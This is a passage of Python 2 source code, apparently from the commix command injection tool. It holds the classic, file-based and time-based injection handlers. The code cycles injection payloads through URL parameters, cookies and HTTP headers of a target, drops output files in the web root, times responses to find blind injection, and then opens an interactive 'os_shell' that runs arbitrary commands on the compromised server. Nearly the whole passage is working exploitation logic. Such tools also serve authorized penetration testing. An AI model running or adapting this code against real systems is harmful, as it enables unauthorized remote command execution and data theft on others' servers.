menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: # if settings.VERBOSITY_LEVEL >= 1: # print "" if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, delay) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print "" continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if shell != "": if settings.VERBOSITY_LEVEL == 1: print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results... " print settings.print_info_msg(info_msg) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification(url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) response = fb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries) and no_result == True : tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) tmp_upload = sys.stdin.readline().replace("\n","").lower() else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg(err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" else: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg(err_msg) + "\n" raise SystemExit() elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg(err_msg) + "\n" raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." if menu.options.verbose > 1: print "" print settings.print_critical_msg(err_msg) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again= "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print "" delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision(separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) how_long = tb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" print "" # Print logs notification message logs.logs_notification(filename) #raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the 